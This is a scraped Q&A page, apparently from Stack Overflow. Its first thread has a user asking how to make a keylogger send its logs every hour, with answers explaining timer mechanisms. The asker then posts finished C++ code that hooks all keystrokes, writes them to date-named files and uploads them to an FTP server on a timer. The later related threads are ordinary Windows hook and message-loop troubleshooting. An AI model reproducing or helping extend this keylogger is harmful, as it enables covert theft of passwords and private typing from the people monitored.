What can I do to make a timer in this keylogger so it sends logs every hour? I tried Sleep() function while loops, but they don't seem to work. I thought of using multi-threading, but I thought there must be a more efficient method.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
//globals
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of sepecial keys
else
out << char(tolower(p->vkCode));
}
out.flush(); //to immediately flush to txt file
cout<<p<<endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
return 0;
}
I'm using DEVC++
If you just want to send your logs every once in a while, you can easily do a check to detect how long it has been since the last log update!
Easy Method
You'll need to store all your keylogs between file updates. You can easily put them into a vector.
So Instead of outputting to your file with out << blahblah add the character to your vector with vectorname.push_back(blahblah)
You'll also need a timing variable. You can use the windows.h function GetTickCount for all of your timing needs.
When your keyboard hook/callback (the method you have your actual keylogging code in) gets called, check to see if it's been an hour since the last time you updated your log file, if it has been an hour or longer, update it and set your timing variable = GetTickCount.
Hope that helps!
The Win32 API function SetTimer executes a function every x milliseconds or any given time.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx
The following console program works like this: It sets a timer using SetTimer
then loops in a message loop. The message loop receives and processes WM_TIMER messages
and the timer callback also is called for each time interval.
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
Simply put the stuff you want done in the CALLBACK TimerProc() function.
#define STRICT 1
#include <windows.h>
#include <iostream.h>
#include <time.h>
unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
UINT TimerId;
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime)
{
//put the stuff you want done in here
cout << "Doing stuff Time: " << dwTime << '\n';
cout << abs(timer_start - timer_stop ) <<" millisecond delay " << endl;
cout << "--------------------------------------------------\n" ;
cout.flush();
}
int main(int argc, char *argv[], char *envp[])
{
usage_Time_millisec=1000;//1 sec=1000ms 1 min=60*1000ms
TimerId = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer()
timer_start = clock ();
timer_stop = clock ();
cout << "TimerId: " << TimerId << '\n';
if (!TimerId) return 16;
while (GetMessage(&Msg, NULL, 0, 0))
{
++Counter;
if (Msg.message == WM_TIMER)
{
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; timer message\n";
}
else
{
timer_stop = clock ();
timer_start = clock ();
//cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
}
DispatchMessage(&Msg);
}
KillTimer(NULL, TimerId);
return 0;
}
I used SetTimer() and it works like a charm.
#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
#include<iostream>
#include <time.h>
#include <wininet.h>
using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt; //must be a global variable
char *buffer; //for outputting to new file, if there isnt internet
void namer(); //show nointernet() that namer() exists
void nointernet()
{
std::ifstream inFile(datetxt);//copy to buffer
inFile >> buffer;
inFile.close();
remove(datetxt); //delete old name
namer(); //give new name
std::ofstream outFile(datetxt); //should be here to avoid new and old name mishaps
outFile << buffer; //enter copied data here
}
void namer()
{
time_t rawtime;
struct tm *timeinfo;
time (&rawtime);
timeinfo = localtime (&rawtime);
strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
datetxt = strcat(date, ".txt"); //joins date with a .txt extrention
}
int upload()
{
HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
if (!hInternet)
{
nointernet(); //if there is no internet, append new log file
}
HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
if (!hFtpSession)
{
InternetCloseHandle(hInternet);
nointernet(); //if you cant access ftp, append to new log file
}
FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file onto the FTP server as datetxt
InternetCloseHandle(hFtpSession); // Close hFtpSession
InternetCloseHandle(hInternet); // Close hInternet
//delete old datetxt
namer(); //give new name
return 0;
}
void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
upload(); //upload old name and change name
}
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
ofstream out(datetxt, ios::app);
// If key is being pressed
if (wParam == WM_KEYDOWN)
{
switch (p->vkCode)
{
// Invisible keys
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_BACK: out << "<BK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<dDOWN>"; break;
case VK_RETURN: out << "<ENTER>\n"; break;
//add special keys like semicolons
// Visible keys
default:
if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT)) //this should be on top to detect simultanous input first
out << char(tolower(p->vkCode));
else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
out << char(toupper(p->vkCode));
//add capital version of special keys
else
out << char(tolower(p->vkCode));
}
out.close(); //to immediately flush to txt file
cout << p << endl;
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
namer(); // for the datetxt name
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook
//re-run program here/*************************************************
MSG msg;
SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
//till here/**********************************************************/
// out.close();
BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
return 0;
}
Related
I am trying to use Clipboard Format Listener for my C++ Console Application. The goal is to monitor every change in the clipboard. I create MessageOnly window, successfully call AddClipboardFormatListener in WM_CREATE, but never get WM_CLIPBOARDUPDATE message in WindowProc function.
#include <iostream>
#include "windows.h"
using namespace std;
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CREATE:
if (AddClipboardFormatListener(hwnd))
cout << " Listener started" << endl;
else
cout << " Start listener failed" << endl;
break;
case WM_DESTROY:
if (RemoveClipboardFormatListener(hwnd))
cout << " Listener stopped" << endl;
else
cout << " Stop listener failed" << endl;
break;
case WM_CLIPBOARDUPDATE:
// Clipboard content has changed
cout << " Clipboard updated" << endl;
break;
default:
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
int main(int argc, char* argv[])
{
HWND hWindow = nullptr;
static const wchar_t* className = L"ClipboardListener";
WNDCLASSEX wx = {};
wx.cbSize = sizeof(WNDCLASSEX);
wx.lpfnWndProc = WindowProc;
wx.hInstance = GetModuleHandle(NULL);
wx.lpszClassName = className;
if (!RegisterClassEx(&wx)) {
cout << "Cannot register class" << endl;
}
else
{
hWindow = CreateWindowEx(
0,
className,
L"ClipboardListener",
0, 0, 0, 0, 0,
HWND_MESSAGE,
NULL, NULL, NULL);
}
if (!hWindow)
{
cout << "Cannot create window" << endl;
}
else
{
while (true)
{
// Peek for a WM_CLIPBOARDUPDATE message
MSG message = { 0 };
PeekMessage(&message, hWindow, WM_CLIPBOARDUPDATE, WM_CLIPBOARDUPDATE, PM_REMOVE);
if (message.message == WM_CLIPBOARDUPDATE)
{
cout << "Sample window received WM_CLIPBOARDUPDATE message" << endl;
}
}
}
cin.get();
DestroyWindow(hWindow);
return 0;
}
PeekMessage works well, but I don't want to use loop to receive messages.
If I delete PeekMessage or replace PM_REMOVE with PM_NOREMOVE, nothing changes.
Your message loop is wrong.
CreateWindowEx() sends a WM_CREATE message before exiting, which is why your WindowProc() receives that message.
However, PeekMessage() does not dispatch messages to windows, which is why your WindowProc() does not receive the WM_CLIPBOARDUPDATE messages. Your message loop needs to call DispatchMessage() for that. You should also be using GetMessage() instead of PeekMessage(), so that the loop makes the calling thread sleep when there are no messages to process.
A standard message loop looks more like this:
MSG message;
while (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
I'm trying to make an application that just detects if the left mouse button is held down. In trying to do this, as well as learn mouse hooks, I copy-pasted a hook from an example source (https://cboard.cprogramming.com/windows-programming/119909-setwindowshookex-lowlevelmouseproc.html) just to see what it would do. The problem is that it lags my computer. Why is this, and how can I fix it?
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <iostream>
#include <cstdio>
using namespace std;
HHOOK g_Hook;
HANDLE g_evExit;
LRESULT CALLBACK LowLevelMouseProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION)
{
const char *msg;
char msg_buff[128];
switch (wParam)
{
case WM_LBUTTONDOWN: msg = "WM_LBUTTONDOWN"; break;
case WM_LBUTTONUP: msg = "WM_LBUTTONUP"; break;
case WM_RBUTTONDOWN: msg = "WM_RBUTTONDOWN"; break;
case WM_RBUTTONUP: msg = "WM_RBUTTONUP"; break;
default:
sprintf(msg_buff, "Unknown msg: %u", wParam);
msg = msg_buff;
break;
}//switch
const MSLLHOOKSTRUCT *p =
reinterpret_cast<const MSLLHOOKSTRUCT*>(lParam);
cout << msg << " - [" << p->pt.x << ',' << p->pt.y << ']' << endl;
static bool left_down = false;
static bool right_down = false;
switch (wParam)
{
case WM_LBUTTONDOWN: left_down = true; break;
case WM_LBUTTONUP: left_down = false; break;
case WM_RBUTTONDOWN: right_down = true; break;
case WM_RBUTTONUP: right_down = false; break;
}//switch
if (left_down && right_down)
SetEvent(g_evExit);
}//if
return CallNextHookEx(g_Hook, code, wParam, lParam);
}//LowLevelMouseProc
int main()
{
g_evExit = CreateEvent(0, TRUE, FALSE, 0);
if (!g_evExit)
{
cerr << "CreateEvent failed, le = " << GetLastError() << endl;
return 1;
}//if
g_Hook = SetWindowsHookEx(WH_MOUSE_LL, &LowLevelMouseProc,
GetModuleHandle(0), 0);
if (!g_Hook)
{
cerr << "SetWindowsHookEx() failed, le = " << GetLastError() << endl;
return 1;
}//if
cout << "Press both left and right mouse buttons to exit..." << endl;
MSG msg;
DWORD status;
while (1)
{
while (PeekMessage(&msg, 0, 0, 0, PM_REMOVE))
DispatchMessage(&msg);
status = MsgWaitForMultipleObjects(1, &g_evExit, FALSE,
INFINITE, QS_ALLINPUT);
if (status == (WAIT_OBJECT_0 + 1))
{
// there are messages to process, eat em up
continue;
}//if
else
{
// assume g_evExit is signaled
break;
}//else
}//while
cout << "Exiting..." << endl;
UnhookWindowsHookEx(g_Hook);
CloseHandle(g_evExit);
return 0;
}//main
You need a message pump. The code you posted uses PeekMessage in combination with MsgWaitForMultipleObjects, but it's probably a better idea to use GetMessage along with TranslateMessage and DispatchMessage, as showcased in How to manually run message pump in C++:
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 1) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
With this loop, I was able to set up a WH_MOUSE_LL hook with SetWindowsHookExA without having the mouse input lag, and correctly receiving all events.
Make sure the hook is installed on the same thread that will pump the messages.
I'm using SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0); to set a global hook for capturing the keystrokes, but the result is strange.
The callback function can be executed when I press the "special" keys such as "Enter", "Tab", "Shift", "Ctrl" and other keys having a Virtual Key Code, while it fails to capture the keystrokes when I press the regular letters and digits.
I am confused about it and could anyone tell me the reason?
#include <Windows.h>
#include <iostream>
using namespace std;
HHOOK keyboardHook = 0;
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;
cout<< "[TEST] " << ks->vkCode << endl;
return CallNextHookEx(0, code, wParam, lParam);
}
int main()
{
keyboardHook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, GetModuleHandleA(NULL), 0);
if (keyboardHook == 0)
{
cout << "failed" << endl;
return -1;
}
cout << "ok" << endl;
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(keyboardHook);
return 0;
}
I am trying to create a system wide hook to monitor processes and terminate unwanted ones. I searched and found out I need to use CBT hooks, my first try failed and this is the second one, the former question can be found here though.
The following code builds just fine, but it seems the hooks are not even called, since I tried setting break point in the DllMain(), but I never reach there. Other functions seem to be accessible though!
Here are the code snippets:
dllmain.cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#pragma once
#include "stdafx.h"
#include <iostream>
#include <fstream>
#include <Windows.h>
using namespace std;
HINSTANCE currentProcessHandle;
HOOKPROC hkprcSysMsg;
HHOOK hookID;
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
std::ofstream outfile("test.txt");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
currentProcessHandle = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wparam, LPARAM lparam)
{
std::ofstream outfile("test.txt");
if (nCode >= 0)
{
switch (nCode)
{
case HCBT_CREATEWND:
outfile << L"Created!~";
cout << "Created!~" << endl;
break;
case HCBT_DESTROYWND:
outfile << L"Destroied!~";
cout << "Destroied!~" << endl;
break;
default:
cout << "sth else" << endl;
break;
}
}
else
{
return CallNextHookEx(hookID, nCode, wparam, lparam);
}
outfile.close();
}
__declspec(dllexport) void InstallHook()
{
hookID = SetWindowsHookEx(WH_CBT, HookProcedure, currentProcessHandle, 0);
}
__declspec(dllexport) void UnistallHook()
{
UnhookWindowsHookEx(hookID);
}
And this is the Consumer application
// Hook Executer.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "..\Dll\dllmain.cpp"
#include <iostream>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
int num = -1;
cout << "1.Install Hook"<<endl
<< "2.Unistall Hook"<<endl
<< "0.Exit";
do{
cin >> num;
if (num ==1)
{
InstallHook();
}
else
{
UnistallHook();
}
getchar();
system("cls");
cout << "1.Install Hook" << endl
<< "2.Unistall Hook" << endl
<< "0.Exit";
} while (num != 0 && num < 3);
return 0;
}
When I run the program there is no error, not even exceptions of any kind, it's as if there is no DLL or I have coded nothing inside that DLL. What's wrong with it?
implement your DLL code in a CPP file, not an header:
//dllmain.cpp
#include "stdafx.h" // include <Windows.h>
// and other std headers in stdafx.h, if not already done
HINSTANCE currentProcessHandle;
HHOOK hookID;
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved ) {
if ( ul_reason_for_call == DLL_PROCESS_ATTACH )
currentProcessHandle = hModule;
return TRUE;
}
LRESULT CALLBACK HookProcedure( int nCode, WPARAM wparam, LPARAM lparam ) {
if ( nCode < 0 ) return CallNextHookEx( NULL, nCode, wparam, lparam );
std::ofstream outfile;
outfile.open( "test.txt", // replace with an absolute path
std::fstream::app ); // append mode
if (nCode >= 0) {
switch( nCode ) {
case HCBT_CREATEWND:
outfile << "Created!\n";
break;
case HCBT_DESTROYWND:
outfile << "Destroyed!\n";
break;
default:
break;
}
}
outfile.close();
return 0;
}
void InstallHook( void ) {
hookID = SetWindowsHookEx( WH_CBT, HookProcedure, currentProcessHandle, 0 );
}
void UninstallHook( void ) { // NEW NAME
UnhookWindowsHookEx( hookID );
}
Declare the DLL APIs in a header file.
// dllapi.h
void InstallHook( void );
void UninstallHook( void ); // NEW NAME
Use a DEF file for exporting, add it to the DLL project
; Def file
EXPORTS
InstallHook
UninstallHook
In the EXE project, include ONLY the DLL header file
#include "..\Dll\dllapi.h"
In the EXE project, go to properties->Linker->Input->Additional dependencies and add the lib file generated during the build of the DLL. Alternative: make the DLL a dependency of the EXE in the project dependencies of the Solution, and in the EXE properties, set Yes for Linker->general->Use Library dependency Inputs
my laptop space bar is broken and so I went on a venture to write a low level keyboard hook to disable it (As it insisted it was being pressed all the time) and change my full stop/period key into a new space bar.. that works fine but I have 2 issues.
1) The new space bar keystroke is sent twice, always - I don't know why
2) I'm trying to rewrite this hook to read alternative input and when I output that input to verify, it's doubled up in the output.
I'm not a strong c++ programmer nor am I a master if the Windows API so would love for a spot of guidance from you guys, if I may!
Code follows:-
#include<Windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
HHOOK hHook = NULL;
INPUT space[2];
bool sendingSpace=false;
void sendSpace()
{
cout << "Sending space\n";
space[0].type=INPUT_KEYBOARD;
space[0].ki.wVk=VK_SPACE;
space[0].ki.time=0;
space[1].type=INPUT_KEYBOARD;
space[1].ki.wVk=VK_SPACE;
space[1].ki.time=0;
space[1].ki.dwFlags=KEYEVENTF_KEYUP;
SendInput(2,space,sizeof(INPUT));
}
LRESULT CALLBACK MyLowLevelHook ( int nCode , WPARAM wParam , LPARAM lParam)
{
KBDLLHOOKSTRUCT* hs = (KBDLLHOOKSTRUCT*)lParam;
if(nCode <0)
return CallNextHookEx(hHook , nCode ,wParam , lParam);
switch(hs->vkCode)
{
case VK_SPACE:
if(!sendingSpace)
{
cout << "Ignoring space bar\n";
return 1;
}
else
{
return CallNextHookEx(hHook , nCode ,wParam , lParam);
}
break;
case VK_OEM_PERIOD:
sendingSpace=true;
sendSpace();
sendingSpace=false;
return 1;
break;
default:
cout << hs->vkCode << " ( " << (char)(hs->vkCode) << ")" << endl;
break;
}
return CallNextHookEx(hHook , nCode ,wParam , lParam);
}
int main()
{
//FreeConsole();
MSG msg;
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelHook , NULL,NULL);
while(!PeekMessage(&msg, NULL, 0, 0,PM_REMOVE)>0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hHook);
return 0;
}
P.S Im only using PeekMessage as a trial and error attempt to solve my issue!
Thanks in advance for any guidance, help or fingers pointing in the right direction!
Timmy.
The keyboard hook sees an event for a key being pressed and a key being released. The wParam argument of the hook callback contains WM_KEYDOWN on a key down, and WM_KEYUP on a key up.
In this case, you're not separating them both out, and are sending a space character every time the key is pressed and then released.
What you should really do is SendInput a KEYEVENTF_KEYDOWN when you see a WM_KEYDOWN and to a SendInput of a KEYEVENTF_KEYUP on seeing a WM_KEYUP.
The easiest way to accomplish this is to add a parameter to the sendSpace() function, so that it looks like:
void sendSpace(WPARAM param)
{
INPUT space;
cout << "Sending space " << (param == WM_KEYDOWN ? "Down" : "Up") << endl;
space.type = INPUT_KEYBOARD;
space.ki.wVk = VK_SPACE;
space.ki.time = 0;
space.ki.dwFlags = (param == WM_KEYDOWN) ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP;
SendInput(1, &space, sizeof INPUT);
}